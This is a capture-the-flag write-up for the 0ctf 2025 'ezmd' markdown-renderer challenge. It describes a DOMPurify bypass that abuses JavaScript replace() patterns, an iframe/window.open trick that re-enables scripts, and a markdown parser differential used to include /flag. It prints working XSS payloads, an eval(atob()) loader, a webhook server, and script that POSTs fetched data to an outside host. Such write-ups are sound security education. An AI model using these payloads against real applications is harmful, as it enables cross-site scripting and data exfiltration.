0ctf 2025 - ezmd - 5 solves
Recommended: Full video write-up
ezmd - web (Unintended solution)
author: rainhurt
- Challenge description:
Yet another markdown renderer…
- Number of solves:
5 - Points:
733
attachments:
I was solving this challenge together with my teammate drbrix
tl;dr
- bypass dom purify for
fnameparameter withreplacementmanipulation - bypass
setJavaScriptEnabled(false)by opening an iframe which opens the first page with js enabled - send to our webhook
img.png - include the flag as an iframe in the
contentparam, bypassing dompurify having mixed interpreters syntax - send the included flag with js enabled to our webhook
The Challenge
The main functionality of the challenge was to render markdown as an image. To obtain the flag, one has to read it from the server that is doing the rendering.
The render function does as follows:
- Reads
contentandfnamefrom request body - Sanitizes both of them with the use of latest
isomorphic-dompurify:
const cleanFname = DOMPurify.sanitize(fname);
const cleanContent = DOMPurify.sanitize(content);
- The bot opens browser in a local vscode server page
- The bot opens our markdown and renders it as a png in that vscode server session
- Then back again the server creates a
index.htmlfile based onresult.htmltemplate file that looks like this:
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<title>My markdown renderer</title>
</head>
<body>
<h1>My md renderer</h1>
<p>{filename}</p>
<img src="img.png" />
</body>
</html>
by calling javascript’s .replace on the {filename} which is sanitized previously by the dompurify:
let data = fs
.readFileSync("static/result.html", "utf-8")
.replace("{filename}", fname);
- A new browser page is initialized
- JavaScript is disabled on it with puppeeter’s
setJavaScriptEnabled(false):
await page.setJavaScriptEnabled(false);
- The bot visits this
index.htmlthat displays the image and the name for five seconds and closes the page
Unintended solution walkthrough
When I saw the combination of DOM Purify and the javascript’s replace function after sanitization, I instantly remembered a challenge I made in the past for pingCTF 2023 that revolved just about that specific setup. You can download it here and try your best - maybe reading this write-up will help you find the vulnerability. On pingCTF 2023 it had 0 solves.
It had the exact same pattern:
- sanitize the variables
- call javascript replace on them
- render them as raw html to the bot, thinking they are safe…
…even though the sanitization was made before the .replace data manipulation.
I’m pretty confident that most people think that the replace / replaceAll functions switch the value of one string to another in some string, like:
const v1 = "a";
const v2 = v1.replace("a", "b");
console.log(v2); // b
which is true, however the second argument, stating what should the first one called the pattern be replaced with, is not a string. It’s called the replacement. And that replacement can be either a function (that doesn’t help us), or a string, with a number of special replacement patterns.:

The most useful ones for us for such sanitization bypass being:
$` <--- Replaces with content before matched string
$' <--- Replaces with content after matched string
A simple example helps illustrate how this works in practice. Here we replace the B character in two cases where it has content before and after it.

As you can see, the values before/after were inserted in the place where B was found.
Knowing that such mechanism in JavaScript exists, we can start to try and bypass DOM Purify sanitization, by including something that is not evil payload, but some widely accepted pure string, like src of an img. We can test whether it’s accepted with a simple node js script importing the isomorphic-dompurify, sanitizing the payload and outpuPting the sanitized one:
const DOMPurify = require("isomorphic-dompurify");
const payload = `<img src="something">`;
const cleanPayload = DOMPurify.sanitize(payload);
console.log(cleanPayload); // <img src="something">
In that exact way, I started trying to inject my javascript (not knowing at the time, that javascript was disabled on the page). with the replacement trick, and when trying to sanitize a payload hidden in the src string, dompurify let it pass through:
<img src="abc123$`<img src=x onerror=alert(1)456def>" />
We can test the payloads fully with template and the replace call being in the poc:
const DOMPurify = require("isomorphic-dompurify");
const template = `
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>My markdown renderer</title>
</head>
<body>
<h1>My md renderer</h1>
<p>{filename}</p>
<img src="img.png" />
</body>
</html>
`;
const payload = `<img src="abc123$\`<img src=x onerror=alert(1)>">`;
const cleanPayload = DOMPurify.sanitize(payload);
console.log("dompurify surrendered:", payload === cleanPayload);
let data = template.replace("{filename}", cleanPayload);
console.log(data);
The above code when executed logged the following:
@tomek ➜ poc-replace node poc2.js
dompurify surrendered: true
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>My markdown renderer</title>
</head>
<body>
<h1>My md renderer</h1>
<p><img src="abc123
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>My markdown renderer</title>
</head>
<body>
<h1>My md renderer</h1>
<p><img src=x onerror=alert(1)>"></p>
<img src="img.png" />
</body>
</html>
@tomek ➜ poc-replace
which when saved to a poc2.html file and opened in the browser, executes the alert function:

When I tried to submit to my webhook, the img.png using javascript obviously it didn’t arrive, because of page.setJavaScriptEnabled(false);. However, the javascript was disabled for that particular page, which means if we would manage to open a new one on the same url, it would have the javascript default behaviour which is to be enabled, and having the dom purify’s sanitization already bypassed, we could create anything on the website.
Submitting an iframe (which would normally be blocked by DOM Purify, but we have it bypassed at this point) that just have window.open call achieves exactly that. After the iframe itself, we can execute our javascript. Note that this would be recursively calling itself, as new page opens the same one etc. so make sure your webhook html is not rate-limited, and preferably host your own.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<script>
window.open("http://www/index.html");
</script>
</body>
</html>
To create your own webhook, you can use a simple HTTP server with CORS being enabled, having GET respond with the above html, and the POST saving the data on your disk.
from http.server import HTTPServer, BaseHTTPRequestHandler
HTML_CONTENT = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<script>
window.open("http://www/index.html");
</script>
</body>
</html>"""
class CORSRequestHandler(BaseHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', '*')
self.send_header('Access-Control-Allow-Headers', '*')
super().end_headers()
def do_OPTIONS(self):
self.send_response(204)
self.end_headers()
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(HTML_CONTENT.encode('utf-8'))
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
with open("received_blob.bin", "wb") as f:
f.write(body)
with open("a.png", "wb") as f:
f.write(body)
self.send_response(200)
self.end_headers()
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 1337), CORSRequestHandler)
server.serve_forever()
The whole payload can be constructed and executed by eval(atob(<base64>))‘ing our javascript code, which can be easily and reproducibly be done by having another javascript create it. The code executed just fetches the img.png (this is the rendered markdown) and pushes it to our webhook.
const webhookUrl = "http://web.cyber-man.pl:1337"; // your website hosting the python server
const js = `
const main = async () =>{
const response = await fetch("/img.png");
const blb = await response.blob();
await fetch("${webhookUrl}", {
method: "POST",
body: blb,
headers: { "content-type": "image/png" }
});
}
main();
`;
const based = btoa(js);
const fname = `<img src="asd123$\`asd1232<iframe src='${webhookUrl}'></iframe><img src=x onerror=eval(atob('${based}'))>">'`;
console.log(fname);
So now it’s the time to include the flag within the img.png by markdown file inclusion, which can be simply done with <iframe src=/file></iframe>. As I mentioned, dom purify doesn’t allow iframes, however the bypass is easier this time, as we can just type only markdown-friendly, and not html/js syntax. Here are two codeblocks, that showcase how does the html see this payload, and how does markdown:
html:
```
<h1>
<img
src="
a
```
<iframe src=/flag>
</iframe>
"
/>
</h1>
markdown:
```
<h1><img src="
a
```
<iframe src=/flag>
</iframe>
">
As you can see the html treats the iframe part as part of the string, and markdown as valid tag.
Having that all connected, and submitting the fname as the webhook caller and the content as the markdown with flag inclusion, we get the flag from the server:

0ctf{u_ar3_x33_k1n9}
afterthoughts
I was really happy to be one of the unintended solutions. Overall I think it was a cool challenge, although a bit bloated.
My quality+difficulty rating for this challenge is: 9/10
:)